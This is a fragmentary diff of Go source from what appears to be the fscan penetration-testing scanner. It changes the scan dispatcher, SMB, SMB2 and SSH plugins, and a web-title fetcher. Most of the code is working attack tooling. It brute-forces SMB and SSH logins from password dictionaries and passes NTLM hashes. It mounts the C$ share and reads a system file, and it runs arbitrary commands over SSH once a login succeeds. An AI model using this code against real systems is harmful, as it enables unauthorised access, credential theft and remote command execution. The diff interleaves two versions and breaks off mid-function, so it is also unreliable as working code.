//AddScan("1000002", info, ch, &wg) //smbghost
|
|
||||||
case info.Ports == "9000":
|
|
||||||
AddScan(web, info, &ch, &wg) //http
|
|
||||||
AddScan(info.Ports, info, &ch, &wg) //fcgiscan
|
|
||||||
case IsContain(severports, info.Ports):
|
|
||||||
AddScan(info.Ports, info, &ch, &wg) //plugins scan
|
|
||||||
default:
|
|
||||||
AddScan(web, info, &ch, &wg) //webtitle
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
scantype := strconv.Itoa(common.PORTList[common.Scantype])
|
|
||||||
AddScan(scantype, info, &ch, &wg)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
common.GC()
|
in := make([]reflect.Value, len(infos))
|
||||||
for _, url := range common.Urls {
|
for k, info := range infos {
|
||||||
info.Url = url
|
in[k] = reflect.ValueOf(info)
|
||||||
AddScan(web, info, &ch, &wg)
|
|
||||||
}
|
}
|
||||||
common.GC()
|
result = f.Call(in)
|
||||||
wg.Wait()
|
return result,nil
|
||||||
common.LogWG.Wait()
|
|
||||||
close(common.Results)
|
|
||||||
fmt.Println(fmt.Sprintf("已完成 %v/%v", common.End, common.Num))
|
|
||||||
}
|
}
|
||||||
|
|
||||||
var Mutex = &sync.Mutex{}
|
|
||||||
|
|
||||||
func AddScan(scantype string, info common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
|
|
||||||
*ch <- struct{}{}
|
|
||||||
wg.Add(1)
|
|
||||||
go func() {
|
|
||||||
Mutex.Lock()
|
|
||||||
common.Num += 1
|
|
||||||
Mutex.Unlock()
|
|
||||||
ScanFunc(&scantype, &info)
|
|
||||||
Mutex.Lock()
|
|
||||||
common.End += 1
|
|
||||||
Mutex.Unlock()
|
|
||||||
wg.Done()
|
|
||||||
<-*ch
|
|
||||||
}()
|
|
||||||
}
|
|
||||||
|
|
||||||
func ScanFunc(name *string, info *common.HostInfo) {
|
|
||||||
f := reflect.ValueOf(PluginList[*name])
|
|
||||||
in := []reflect.Value{reflect.ValueOf(info)}
|
|
||||||
f.Call(in)
|
|
||||||
}
|
|
||||||
|
|
||||||
func IsContain(items []string, item string) bool {
|
func IsContain(items []string, item string) bool {
|
||||||
for _, eachItem := range items {
|
for _, eachItem := range items {
|
||||||
if eachItem == item {
|
if eachItem == item {
|
||||||
@@ -129,3 +33,55 @@ func IsContain(items []string, item string) bool {
|
|||||||
}
|
}
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func Scan(info *common.HostInfo) {
|
||||||
|
Hosts,_ := common.ParseIP(info.Host)
|
||||||
|
if info.Isping == false{
|
||||||
|
Hosts = ICMPRun(Hosts)
|
||||||
|
}
|
||||||
|
_,AlivePorts := TCPportScan(Hosts,info.Ports,"icmp",3) //return AliveHosts,AlivePorts
|
||||||
|
var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"}
|
||||||
|
for _,port:=range common.PORTList{
|
||||||
|
severports = append(severports,strconv.Itoa(port))
|
||||||
|
}
|
||||||
|
severports1 := []string{"1521"}
|
||||||
|
var ch = make(chan int,info.Threads)
|
||||||
|
var wg = sync.WaitGroup{}
|
||||||
|
var scantype string
|
||||||
|
for _,targetIP :=range AlivePorts{
|
||||||
|
scan_ip,scan_port := strings.Split(targetIP,":")[0],strings.Split(targetIP,":")[1]
|
||||||
|
info.Host = scan_ip
|
||||||
|
if info.Scantype == "all"{
|
||||||
|
if IsContain(severports,scan_port){
|
||||||
|
//scantype = scan_port
|
||||||
|
AddScan(scan_port,info,ch,&wg)
|
||||||
|
}else {
|
||||||
|
if !IsContain(severports1,scan_port){
|
||||||
|
info.Url = fmt.Sprintf("http://%s",targetIP)
|
||||||
|
wg.Add(1)
|
||||||
|
go WebTitle(info,ch,&wg) //go scan_func(PluginList,"WebTitle",info,ch,&wg)
|
||||||
|
ch <- 1
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if scan_port == "445"{
|
||||||
|
AddScan("1000001",info,ch,&wg)
|
||||||
|
AddScan("1000002",info,ch,&wg)
|
||||||
|
}
|
||||||
|
|
||||||
|
}else {
|
||||||
|
port,_:=common.PORTList[info.Scantype]
|
||||||
|
scantype = strconv.Itoa(port)
|
||||||
|
AddScan(scantype,info,ch,&wg)
|
||||||
|
//wg.Add(1)
|
||||||
|
//go scan_func(PluginList,scantype,info,ch,&wg)
|
||||||
|
//ch <- 1
|
||||||
|
}
|
||||||
|
}
|
||||||
|
wg.Wait()
|
||||||
|
}
|
||||||
|
|
||||||
|
func AddScan(scantype string,info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||||
|
wg.Add(1)
|
||||||
|
go scan_func(PluginList,scantype,info,ch,wg)
|
||||||
|
ch <- 1
|
||||||
|
}
|
||||||
+39
-45
@@ -1,81 +1,75 @@
|
|||||||
package Plugins
|
package Plugins
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"errors"
|
"../common"
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"github.com/stacktitan/smb/smb"
|
"github.com/stacktitan/smb/smb"
|
||||||
"strings"
|
"strings"
|
||||||
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
"context"
|
||||||
)
|
)
|
||||||
|
func SmbScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||||
|
|
||||||
func SmbScan(info *common.HostInfo) (tmperr error) {
|
Loop:
|
||||||
if common.IsBrute {
|
for _,user:=range common.Userdict["smb"]{
|
||||||
return nil
|
for _,pass:=range common.Passwords{
|
||||||
}
|
pass = strings.Replace(pass, "{user}", string(user), -1)
|
||||||
starttime := time.Now().Unix()
|
//fmt.Println(user,pass)
|
||||||
for _, user := range common.Userdict["smb"] {
|
//flag,err := SmblConn(info,user,pass)
|
||||||
for _, pass := range common.Passwords {
|
flag,err := doWithTimeOut(info,user,pass)
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
//fmt.Println(user,pass,flag,err)
|
||||||
flag, err := doWithTimeOut(info, user, pass)
|
if flag==true && err==nil {
|
||||||
if flag == true && err == nil {
|
break Loop
|
||||||
var result string
|
|
||||||
if common.Domain != "" {
|
|
||||||
result = fmt.Sprintf("[+] SMB:%v:%v:%v\\%v %v", info.Host, info.Ports, common.Domain, user, pass)
|
|
||||||
} else {
|
|
||||||
result = fmt.Sprintf("[+] SMB:%v:%v:%v %v", info.Host, info.Ports, user, pass)
|
|
||||||
}
|
|
||||||
common.LogSuccess(result)
|
|
||||||
return err
|
|
||||||
} else {
|
|
||||||
errlog := fmt.Sprintf("[-] smb %v:%v %v %v %v", info.Host, 445, user, pass, err)
|
|
||||||
errlog = strings.Replace(errlog, "\n", "", -1)
|
|
||||||
common.LogError(errlog)
|
|
||||||
tmperr = err
|
|
||||||
if common.CheckErrs(err) {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return tmperr
|
wg.Done()
|
||||||
|
<- ch
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func SmblConn(info *common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) {
|
func SmblConn(info *common.HostInfo,user string,pass string)(flag bool,err error){
|
||||||
flag = false
|
flag = false
|
||||||
Host, Username, Password := info.Host, user, pass
|
Host,Port,Username,Password := info.Host, common.PORTList["smb"],user, pass
|
||||||
options := smb.Options{
|
options := smb.Options{
|
||||||
Host: Host,
|
Host: Host,
|
||||||
Port: 445,
|
Port: 445,
|
||||||
User: Username,
|
User: Username,
|
||||||
Password: Password,
|
Password: Password,
|
||||||
Domain: common.Domain,
|
Domain: "",
|
||||||
Workstation: "",
|
Workstation: "",
|
||||||
|
Timeout: info.Timeout,
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
session, err := smb.NewSession(options, false)
|
session, err := smb.NewSession(options, false)
|
||||||
|
//fmt.Println(err)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
session.Close()
|
defer session.Close()
|
||||||
if session.IsAuthenticated {
|
if session.IsAuthenticated {
|
||||||
|
result := fmt.Sprintf("SMB:%v:%v:%v %v",Host,Port,Username,Password)
|
||||||
|
common.LogSuccess(result)
|
||||||
flag = true
|
flag = true
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
signal <- struct{}{}
|
return flag,err
|
||||||
return flag, err
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func doWithTimeOut(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
func doWithTimeOut(info *common.HostInfo,user string,pass string)(flag bool,err error){
|
||||||
signal := make(chan struct{})
|
ctx,cancel := context.WithTimeout(context.Background(),time.Duration(info.Timeout)*time.Second)
|
||||||
|
//ctx,cancel := context.WithTimeout(context.Background(),1*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
signal := make(chan int,1)
|
||||||
go func() {
|
go func() {
|
||||||
flag, err = SmblConn(info, user, pass, signal)
|
flag,err = SmblConn(info,user,pass)
|
||||||
|
signal <- 1
|
||||||
}()
|
}()
|
||||||
|
|
||||||
select {
|
select {
|
||||||
case <-signal:
|
case <-signal:
|
||||||
return flag, err
|
return flag,err
|
||||||
case <-time.After(time.Duration(common.Timeout) * time.Second):
|
case <-ctx.Done():
|
||||||
return false, errors.New("time out")
|
return false,err
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
-176
@@ -1,176 +0,0 @@
|
|||||||
package Plugins
|
|
||||||
|
|
||||||
import (
|
|
||||||
"fmt"
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"net"
|
|
||||||
"os"
|
|
||||||
"strings"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"github.com/hirochachacha/go-smb2"
|
|
||||||
)
|
|
||||||
|
|
||||||
func SmbScan2(info *common.HostInfo) (tmperr error) {
|
|
||||||
if common.IsBrute {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
hasprint := false
|
|
||||||
starttime := time.Now().Unix()
|
|
||||||
hash := common.HashBytes
|
|
||||||
for _, user := range common.Userdict["smb"] {
|
|
||||||
PASS:
|
|
||||||
for _, pass := range common.Passwords {
|
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
|
||||||
flag, err, flag2 := Smb2Con(info, user, pass, hash, hasprint)
|
|
||||||
if flag2 {
|
|
||||||
hasprint = true
|
|
||||||
}
|
|
||||||
if flag == true {
|
|
||||||
var result string
|
|
||||||
if common.Domain != "" {
|
|
||||||
result = fmt.Sprintf("[+] SMB2:%v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user)
|
|
||||||
} else {
|
|
||||||
result = fmt.Sprintf("[+] SMB2:%v:%v:%v ", info.Host, info.Ports, user)
|
|
||||||
}
|
|
||||||
if len(hash) > 0 {
|
|
||||||
result += "hash: " + common.Hash
|
|
||||||
} else {
|
|
||||||
result += pass
|
|
||||||
}
|
|
||||||
common.LogSuccess(result)
|
|
||||||
return err
|
|
||||||
} else {
|
|
||||||
var errlog string
|
|
||||||
if len(common.Hash) > 0 {
|
|
||||||
errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, common.Hash, err)
|
|
||||||
} else {
|
|
||||||
errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, pass, err)
|
|
||||||
}
|
|
||||||
errlog = strings.Replace(errlog, "\n", " ", -1)
|
|
||||||
common.LogError(errlog)
|
|
||||||
tmperr = err
|
|
||||||
if common.CheckErrs(err) {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if len(common.Hash) > 0 {
|
|
||||||
break PASS
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return tmperr
|
|
||||||
}
|
|
||||||
|
|
||||||
func Smb2Con(info *common.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) {
|
|
||||||
conn, err := net.DialTimeout("tcp", info.Host+":445", time.Duration(common.Timeout)*time.Second)
|
|
||||||
defer func() {
|
|
||||||
if conn != nil {
|
|
||||||
conn.Close()
|
|
||||||
}
|
|
||||||
}()
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
initiator := smb2.NTLMInitiator{
|
|
||||||
User: user,
|
|
||||||
Domain: common.Domain,
|
|
||||||
}
|
|
||||||
if len(hash) > 0 {
|
|
||||||
initiator.Hash = hash
|
|
||||||
} else {
|
|
||||||
initiator.Password = pass
|
|
||||||
}
|
|
||||||
d := &smb2.Dialer{
|
|
||||||
Initiator: &initiator,
|
|
||||||
}
|
|
||||||
|
|
||||||
s, err := d.Dial(conn)
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
defer s.Logoff()
|
|
||||||
names, err := s.ListSharenames()
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
if !hasprint {
|
|
||||||
var result string
|
|
||||||
if common.Domain != "" {
|
|
||||||
result = fmt.Sprintf("[*] SMB2-shares:%v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user)
|
|
||||||
} else {
|
|
||||||
result = fmt.Sprintf("[*] SMB2-shares:%v:%v:%v ", info.Host, info.Ports, user)
|
|
||||||
}
|
|
||||||
if len(hash) > 0 {
|
|
||||||
result += "hash: " + common.Hash
|
|
||||||
} else {
|
|
||||||
result += pass
|
|
||||||
}
|
|
||||||
result = fmt.Sprintf("%v shares: %v", result, names)
|
|
||||||
common.LogSuccess(result)
|
|
||||||
flag2 = true
|
|
||||||
}
|
|
||||||
fs, err := s.Mount("C$")
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
defer fs.Umount()
|
|
||||||
path := `Windows\win.ini`
|
|
||||||
f, err := fs.OpenFile(path, os.O_RDONLY, 0666)
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
defer f.Close()
|
|
||||||
flag = true
|
|
||||||
return
|
|
||||||
//bs, err := ioutil.ReadAll(f)
|
|
||||||
//if err != nil {
|
|
||||||
// return
|
|
||||||
//}
|
|
||||||
//fmt.Println(string(bs))
|
|
||||||
//return
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
//if info.Path == ""{
|
|
||||||
//}
|
|
||||||
//path = info.Path
|
|
||||||
//f, err := fs.OpenFile(path, os.O_RDONLY, 0666)
|
|
||||||
//if err != nil {
|
|
||||||
// return
|
|
||||||
//}
|
|
||||||
//flag = true
|
|
||||||
//_, err = f.Seek(0, io.SeekStart)
|
|
||||||
//if err != nil {
|
|
||||||
// return
|
|
||||||
//}
|
|
||||||
//bs, err := ioutil.ReadAll(f)
|
|
||||||
//if err != nil {
|
|
||||||
// return
|
|
||||||
//}
|
|
||||||
//fmt.Println(string(bs))
|
|
||||||
//return
|
|
||||||
//f, err := fs.Create(`Users\Public\Videos\hello.txt`)
|
|
||||||
//if err != nil {
|
|
||||||
// return
|
|
||||||
//}
|
|
||||||
//flag = true
|
|
||||||
//
|
|
||||||
//_, err = f.Write([]byte("Hello world!"))
|
|
||||||
//if err != nil {
|
|
||||||
// return
|
|
||||||
//}
|
|
||||||
//
|
|
||||||
//_, err = f.Seek(0, io.SeekStart)
|
|
||||||
//if err != nil {
|
|
||||||
// return
|
|
||||||
//}
|
|
||||||
//bs, err := ioutil.ReadAll(f)
|
|
||||||
//if err != nil {
|
|
||||||
// return
|
|
||||||
//}
|
|
||||||
//fmt.Println(string(bs))
|
|
||||||
//return
|
|
||||||
+34
-63
@@ -1,68 +1,46 @@
|
|||||||
package Plugins
|
package Plugins
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"errors"
|
"../common"
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"golang.org/x/crypto/ssh"
|
"golang.org/x/crypto/ssh"
|
||||||
"io/ioutil"
|
|
||||||
"net"
|
"net"
|
||||||
"strings"
|
"strings"
|
||||||
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
func SshScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
|
||||||
func SshScan(info *common.HostInfo) (tmperr error) {
|
//SshConn(info,"oracle","oracle",ch,wg)
|
||||||
if common.IsBrute {
|
Loop:
|
||||||
return
|
for _,user:=range common.Userdict["ssh"]{
|
||||||
}
|
for _,pass:=range common.Passwords{
|
||||||
starttime := time.Now().Unix()
|
pass = strings.Replace(pass, "{user}", string(user), -1)
|
||||||
for _, user := range common.Userdict["ssh"] {
|
//wg.Add(1)
|
||||||
for _, pass := range common.Passwords {
|
//var good bool
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
//go SshConn(info,user,pass,ch,wg)
|
||||||
flag, err := SshConn(info, user, pass)
|
//if good == true{
|
||||||
if flag == true && err == nil {
|
// break Loop
|
||||||
return err
|
//}
|
||||||
} else {
|
flag,err := SshConn(info,user,pass,ch,wg)
|
||||||
errlog := fmt.Sprintf("[-] ssh %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
if flag==true && err==nil {
|
||||||
common.LogError(errlog)
|
break Loop
|
||||||
tmperr = err
|
|
||||||
if common.CheckErrs(err) {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["ssh"])*len(common.Passwords)) * common.Timeout) {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if common.SshKey != "" {
|
|
||||||
return err
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return tmperr
|
wg.Done()
|
||||||
|
<- ch
|
||||||
}
|
}
|
||||||
|
|
||||||
func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
func SshConn(info *common.HostInfo,user string,pass string,ch chan int,wg *sync.WaitGroup)(flag bool,err error){
|
||||||
flag = false
|
flag = false
|
||||||
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
Host,Port,Username,Password := info.Host, common.PORTList["ssh"],user, pass
|
||||||
Auth := []ssh.AuthMethod{}
|
//fmt.Println(Host,Port,Username,Password)
|
||||||
if common.SshKey != "" {
|
|
||||||
pemBytes, err := ioutil.ReadFile(common.SshKey)
|
|
||||||
if err != nil {
|
|
||||||
return false, errors.New("read key failed" + err.Error())
|
|
||||||
}
|
|
||||||
signer, err := ssh.ParsePrivateKey(pemBytes)
|
|
||||||
if err != nil {
|
|
||||||
return false, errors.New("parse key failed" + err.Error())
|
|
||||||
}
|
|
||||||
Auth = []ssh.AuthMethod{ssh.PublicKeys(signer)}
|
|
||||||
} else {
|
|
||||||
Auth = []ssh.AuthMethod{ssh.Password(Password)}
|
|
||||||
}
|
|
||||||
|
|
||||||
config := &ssh.ClientConfig{
|
config := &ssh.ClientConfig{
|
||||||
User: Username,
|
User: Username,
|
||||||
Auth: Auth,
|
Auth: []ssh.AuthMethod{
|
||||||
Timeout: time.Duration(common.Timeout) * time.Second,
|
ssh.Password(Password),
|
||||||
|
},
|
||||||
|
Timeout: time.Duration(info.Timeout)*time.Second,
|
||||||
HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
|
HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
|
||||||
return nil
|
return nil
|
||||||
},
|
},
|
||||||
@@ -72,26 +50,19 @@ func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err er
|
|||||||
if err == nil {
|
if err == nil {
|
||||||
defer client.Close()
|
defer client.Close()
|
||||||
session, err := client.NewSession()
|
session, err := client.NewSession()
|
||||||
if err == nil {
|
if err == nil { //if err == nil && errRet == nil {
|
||||||
defer session.Close()
|
defer session.Close()
|
||||||
flag = true
|
flag = true
|
||||||
var result string
|
if info.Command != ""{
|
||||||
if common.Command != "" {
|
combo,_ := session.CombinedOutput(info.Command)
|
||||||
combo, _ := session.CombinedOutput(common.Command)
|
result := fmt.Sprintf("SSH:%v:%v:%v %v \n %v",Host,Port,Username,Password,string(combo))
|
||||||
result = fmt.Sprintf("[+] SSH:%v:%v:%v %v \n %v", Host, Port, Username, Password, string(combo))
|
|
||||||
if common.SshKey != "" {
|
|
||||||
result = fmt.Sprintf("[+] SSH:%v:%v sshkey correct \n %v", Host, Port, string(combo))
|
|
||||||
}
|
|
||||||
common.LogSuccess(result)
|
common.LogSuccess(result)
|
||||||
} else {
|
}else {
|
||||||
result = fmt.Sprintf("[+] SSH:%v:%v:%v %v", Host, Port, Username, Password)
|
result := fmt.Sprintf("SSH:%v:%v:%v %v",Host,Port,Username,Password)
|
||||||
if common.SshKey != "" {
|
|
||||||
result = fmt.Sprintf("[+] SSH:%v:%v sshkey correct", Host, Port)
|
|
||||||
}
|
|
||||||
common.LogSuccess(result)
|
common.LogSuccess(result)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return flag, err
|
return flag,err
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|||||||
+62
-227
@@ -1,249 +1,84 @@
|
|||||||
package Plugins
|
package Plugins
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"compress/gzip"
|
"../common"
|
||||||
"crypto/tls"
|
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/WebScan"
|
|
||||||
"github.com/shadow1ng/fscan/WebScan/lib"
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"golang.org/x/text/encoding/simplifiedchinese"
|
|
||||||
"io"
|
|
||||||
"io/ioutil"
|
"io/ioutil"
|
||||||
"net/http"
|
"net/http"
|
||||||
"net/url"
|
|
||||||
"regexp"
|
"regexp"
|
||||||
"strings"
|
"strings"
|
||||||
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
"unicode/utf8"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
func WebTitle(info *common.HostInfo) error {
|
func WebTitle(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) (err error, result string) {
|
||||||
if common.Scantype == "webpoc" {
|
err,result = geturl(info)
|
||||||
WebScan.WebScan(info)
|
wg.Done()
|
||||||
return nil
|
<-ch
|
||||||
}
|
return err, result
|
||||||
err, CheckData := GOWebTitle(info)
|
|
||||||
info.Infostr = WebScan.InfoCheck(info.Url, &CheckData)
|
|
||||||
|
|
||||||
if common.IsWebCan == false && err == nil {
|
|
||||||
WebScan.WebScan(info)
|
|
||||||
} else {
|
|
||||||
errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err)
|
|
||||||
common.LogError(errlog)
|
|
||||||
}
|
|
||||||
return err
|
|
||||||
}
|
}
|
||||||
func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckDatas) {
|
|
||||||
if info.Url == "" {
|
|
||||||
switch info.Ports {
|
|
||||||
case "80":
|
|
||||||
info.Url = fmt.Sprintf("http://%s", info.Host)
|
|
||||||
case "443":
|
|
||||||
info.Url = fmt.Sprintf("https://%s", info.Host)
|
|
||||||
default:
|
|
||||||
host := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
|
||||||
protocol := GetProtocol(host, common.Timeout)
|
|
||||||
info.Url = fmt.Sprintf("%s://%s:%s", protocol, info.Host, info.Ports)
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
if !strings.Contains(info.Url, "://") {
|
|
||||||
host := strings.Split(info.Url, "/")[0]
|
|
||||||
protocol := GetProtocol(host, common.Timeout)
|
|
||||||
info.Url = fmt.Sprintf("%s://%s", protocol, info.Url)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
err, result, CheckData := geturl(info, 1, CheckData)
|
|
||||||
if err != nil && !strings.Contains(err.Error(), "EOF") {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
//有跳转
|
func geturl(info *common.HostInfo) (err error, result string) {
|
||||||
if strings.Contains(result, "://") {
|
url := info.Url
|
||||||
info.Url = result
|
var client = &http.Client{Timeout:time.Duration(info.Timeout)*time.Second }
|
||||||
err, result, CheckData = geturl(info, 3, CheckData)
|
res,err:=http.NewRequest("GET",url,nil)
|
||||||
if err != nil {
|
if err==nil{
|
||||||
return
|
res.Header.Add("User-agent","Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
|
||||||
}
|
res.Header.Add("Accept","*/*")
|
||||||
}
|
res.Header.Add("Accept-Language","zh-CN,zh;q=0.9")
|
||||||
|
res.Header.Add("Accept-Encoding","gzip, deflate")
|
||||||
if result == "https" && !strings.HasPrefix(info.Url, "https://") {
|
res.Header.Add("Connection","close")
|
||||||
info.Url = strings.Replace(info.Url, "http://", "https://", 1)
|
resp,err:=client.Do(res)
|
||||||
err, result, CheckData = geturl(info, 1, CheckData)
|
if err==nil{
|
||||||
//有跳转
|
defer resp.Body.Close()
|
||||||
if strings.Contains(result, "://") {
|
var title string
|
||||||
info.Url = result
|
body, _ := ioutil.ReadAll(resp.Body)
|
||||||
err, result, CheckData = geturl(info, 3, CheckData)
|
re :=regexp.MustCompile("<title>(.*)</title>")
|
||||||
if err != nil {
|
find := re.FindAllStringSubmatch(string(body),-1)
|
||||||
return
|
if len(find) > 1{
|
||||||
|
title = find[0][1]
|
||||||
|
}else {
|
||||||
|
title = "None"
|
||||||
}
|
}
|
||||||
}
|
if len(title) > 20{
|
||||||
}
|
title = title[:20]
|
||||||
//是否访问图标
|
|
||||||
//err, _, CheckData = geturl(info, 2, CheckData)
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) {
|
|
||||||
//flag 1 first try
|
|
||||||
//flag 2 /favicon.ico
|
|
||||||
//flag 3 302
|
|
||||||
//flag 4 400 -> https
|
|
||||||
|
|
||||||
Url := info.Url
|
|
||||||
if flag == 2 {
|
|
||||||
URL, err := url.Parse(Url)
|
|
||||||
if err == nil {
|
|
||||||
Url = fmt.Sprintf("%s://%s/favicon.ico", URL.Scheme, URL.Host)
|
|
||||||
} else {
|
|
||||||
Url += "/favicon.ico"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
req, err := http.NewRequest("GET", Url, nil)
|
|
||||||
if err != nil {
|
|
||||||
return err, "", CheckData
|
|
||||||
}
|
|
||||||
req.Header.Set("User-agent", common.UserAgent)
|
|
||||||
req.Header.Set("Accept", common.Accept)
|
|
||||||
req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
|
|
||||||
if common.Cookie != "" {
|
|
||||||
req.Header.Set("Cookie", common.Cookie)
|
|
||||||
}
|
|
||||||
//if common.Pocinfo.Cookie != "" {
|
|
||||||
// req.Header.Set("Cookie", "rememberMe=1;"+common.Pocinfo.Cookie)
|
|
||||||
//} else {
|
|
||||||
// req.Header.Set("Cookie", "rememberMe=1")
|
|
||||||
//}
|
|
||||||
req.Header.Set("Connection", "close")
|
|
||||||
var client *http.Client
|
|
||||||
if flag == 1 {
|
|
||||||
client = lib.ClientNoRedirect
|
|
||||||
} else {
|
|
||||||
client = lib.Client
|
|
||||||
}
|
|
||||||
|
|
||||||
resp, err := client.Do(req)
|
|
||||||
if err != nil {
|
|
||||||
return err, "https", CheckData
|
|
||||||
}
|
|
||||||
|
|
||||||
defer resp.Body.Close()
|
|
||||||
var title string
|
|
||||||
body, err := getRespBody(resp)
|
|
||||||
if err != nil {
|
|
||||||
return err, "https", CheckData
|
|
||||||
}
|
|
||||||
if !utf8.Valid(body) {
|
|
||||||
body, _ = simplifiedchinese.GBK.NewDecoder().Bytes(body)
|
|
||||||
}
|
|
||||||
CheckData = append(CheckData, WebScan.CheckDatas{body, fmt.Sprintf("%s", resp.Header)})
|
|
||||||
var reurl string
|
|
||||||
if flag != 2 {
|
|
||||||
title = gettitle(body)
|
|
||||||
length := resp.Header.Get("Content-Length")
|
|
||||||
if length == "" {
|
|
||||||
length = fmt.Sprintf("%v", len(body))
|
|
||||||
}
|
|
||||||
redirURL, err1 := resp.Location()
|
|
||||||
if err1 == nil {
|
|
||||||
reurl = redirURL.String()
|
|
||||||
}
|
|
||||||
result := fmt.Sprintf("[*] WebTitle: %-25v code:%-3v len:%-6v title:%v", resp.Request.URL, resp.StatusCode, length, title)
|
|
||||||
if reurl != "" {
|
|
||||||
result += fmt.Sprintf(" 跳转url: %s", reurl)
|
|
||||||
}
|
|
||||||
common.LogSuccess(result)
|
|
||||||
}
|
|
||||||
if reurl != "" {
|
|
||||||
return nil, reurl, CheckData
|
|
||||||
}
|
|
||||||
if resp.StatusCode == 400 && !strings.HasPrefix(info.Url, "https") {
|
|
||||||
return nil, "https", CheckData
|
|
||||||
}
|
|
||||||
return nil, "", CheckData
|
|
||||||
}
|
|
||||||
|
|
||||||
func getRespBody(oResp *http.Response) ([]byte, error) {
|
|
||||||
var body []byte
|
|
||||||
if oResp.Header.Get("Content-Encoding") == "gzip" {
|
|
||||||
gr, err := gzip.NewReader(oResp.Body)
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
defer gr.Close()
|
|
||||||
for {
|
|
||||||
buf := make([]byte, 1024)
|
|
||||||
n, err := gr.Read(buf)
|
|
||||||
if err != nil && err != io.EOF {
|
|
||||||
return nil, err
|
|
||||||
}
|
}
|
||||||
if n == 0 {
|
